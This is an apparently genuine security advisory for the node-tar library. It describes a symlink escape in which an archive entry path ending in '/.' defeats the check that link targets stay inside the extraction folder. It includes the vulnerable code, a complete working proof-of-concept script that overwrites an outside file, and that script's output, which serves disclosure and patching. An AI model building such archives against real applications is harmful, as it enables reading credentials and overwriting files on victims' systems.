Skip to main content
Menu
Advisories

Symlink escape from the extraction directory via a trailing /. in the entry path

GHSA-WQ85-W9P7-PGRMPublished Updated GitHub

Description

tar.x() can be made to create a symbolic link that points outside the extraction directory, with default options, on every platform. The SymbolicLink entry's path just needs to end in /. (for example a/b/l/.). The "linkpath must resolve inside cwd" check that was added in 7.5.5 (commit e9a1ddb, "do not prevent valid linkpaths within archive") then resolves the target from the wrong directory and accepts it. No warning is emitted.

The README promises that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder". This breaks that promise. The impact is the same as GHSA-9ppj-qmqm-q256 (drive-relative linkpath): once the link exists, the application reads or writes an outside file through it.

Details

src/unpack.ts, [STRIPABSOLUTEPATH], linkpath branch (7.5.23, line 286):

const entryDir = path.posix.dirname(entry.path)
const resolved = path.posix.normalize(
  path.posix.join(entryDir, parts.join('/')),
)
if (resolved.startsWith('../') || resolved === '..') { /* reject */ }

entry.path is not normalized here. For a/b/l/.:

  • the check uses dirname('a/b/l/.') = 'a/b/l', and join('a/b/l', '../../../target.txt') normalizes to target.txt, which looks in-bounds, so the entry is accepted;
  • the link is created at path.resolve(cwd, 'a/b/l/.') = cwd/a/b/l, so its target is resolved by the kernel from cwd/a/b, and ../../../target.txt lands at cwd/../target.txt.

In other words the check measures the target one directory deeper than where the link actually lives. Each extra trailing /. component is accepted the same way (a/b/l/./.).

The other protections still hold: node-tar itself refuses to extract through the escaped link (TAR_SYMLINK_ERROR), and a later File entry at the same path does not write through it. The escape is the link itself, the same primitive as CVE-2026-31802.

Proof of concept

poc.cjs below builds a one-entry archive with new Header({ path, type: 'SymbolicLink', linkpath: '../../../target.txt' }) and extracts it with x({ cwd, file }). It runs once with the plain path a/b/l (control) and once with a/b/l/. (attack). Then it does what a consumer of the extracted tree would do: it reads the file and writes it. Run with npm i tar@7.5.23 && node poc.cjs. It exits 1 when the attack escapes and the control does not.

// node-tar: a SymbolicLink entry whose path ends in "/." escapes the
// "linkpath must resolve inside cwd" check (src/unpack.ts STRIPABSOLUTEPATH).
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const work = fs.mkdtempSync('/tmp/nodetar-')
const cwd = path.join(work, 'extract')
fs.mkdirSync(cwd)
const target = path.join(work, 'target.txt')          // outside cwd
fs.writeFileSync(target, 'ORIGINAL\n')

function archive(entryPath) {
  const b = Buffer.alloc(1536)
  new Header({ path: entryPath, type: 'SymbolicLink', linkpath: '../../../target.txt' }).encode(b, 0)
  const f = path.join(work, entryPath.replace(/\W/g, '_') + '.tar')
  fs.writeFileSync(f, b)
  return f
}

async function run(label, entryPath, linkAt) {
  fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)
  fs.writeFileSync(target, 'ORIGINAL\n')
  const warnings = []
  await x({ cwd, file: archive(entryPath), onwarn: (c, m) => warnings.push(c + ': ' + m) })
  const l = path.join(cwd, linkAt)
  let st = null; try { st = fs.lstatSync(l) } catch {}
  console.log(`\n[${label}] entry path ${JSON.stringify(entryPath)}`)
  console.log('  warnings:', warnings.length ? warnings : 'none')
  if (!st || !st.isSymbolicLink()) { console.log('  no symlink created -> blocked'); return false }
  console.log('  created', linkAt, '->', fs.readlinkSync(l), ' resolves to', fs.realpathSync(l))
  console.log('  read through link:', JSON.stringify(fs.readFileSync(l, 'utf8')))
  fs.writeFileSync(l, 'PWNED\n')                   // what any consumer writing the file does
  console.log('  outside target now:', JSON.stringify(fs.readFileSync(target, 'utf8')))
  return fs.readFileSync(target, 'utf8') === 'PWNED\n'
}

;(async () => {
  console.log('tar version', require('tar/package.json').version)
  const control = await run('CONTROL', 'a/b/l', 'a/b/l')       // same link, plain path
  const attack = await run('ATTACK', 'a/b/l/.', 'a/b/l')       // trailing "/."
  console.log(`\nRESULT control_escaped=${control} attack_escaped=${attack}`)
  process.exit(attack && !control ? 1 : 0)
})()

Output on tar@7.5.23, Node 22 (node:22-slim, non-root, --network none):

tar version 7.5.23

[CONTROL] entry path "a/b/l"
  warnings: [ 'TAR_ENTRY_ERROR: linkpath escapes extraction directory' ]
  no symlink created -> blocked

[ATTACK] entry path "a/b/l/."
  warnings: none
  created a/b/l -> ../../../target.txt  resolves to /tmp/nodetar-QaRigr/target.txt
  read through link: "ORIGINAL\n"
  outside target now: "PWNED\n"

RESULT control_escaped=false attack_escaped=true

Versions measured with the same script: 7.5.3 and 7.5.4 block both cases. 7.5.5, 7.5.6, 7.5.7, 7.5.8, 7.5.9, 7.5.10, 7.5.11, 7.5.22 and 7.5.23 block the control and accept the attack.

Impact

Any application that extracts attacker-supplied tarballs with tar.x() / tar.extract() and then reads, serves, copies or rewrites the extracted files can be pointed at an arbitrary file outside the extraction directory. Reading means disclosure (credentials, .npmrc, SSH keys, other users' files when the tree is served or archived again). Writing means overwrite of the outside file. This is the same consequence as CVE-2026-31802, but it is not limited to Windows-style drive prefixes and does not need any option.

Affected versions

References

GitHub · isaacs/node-tar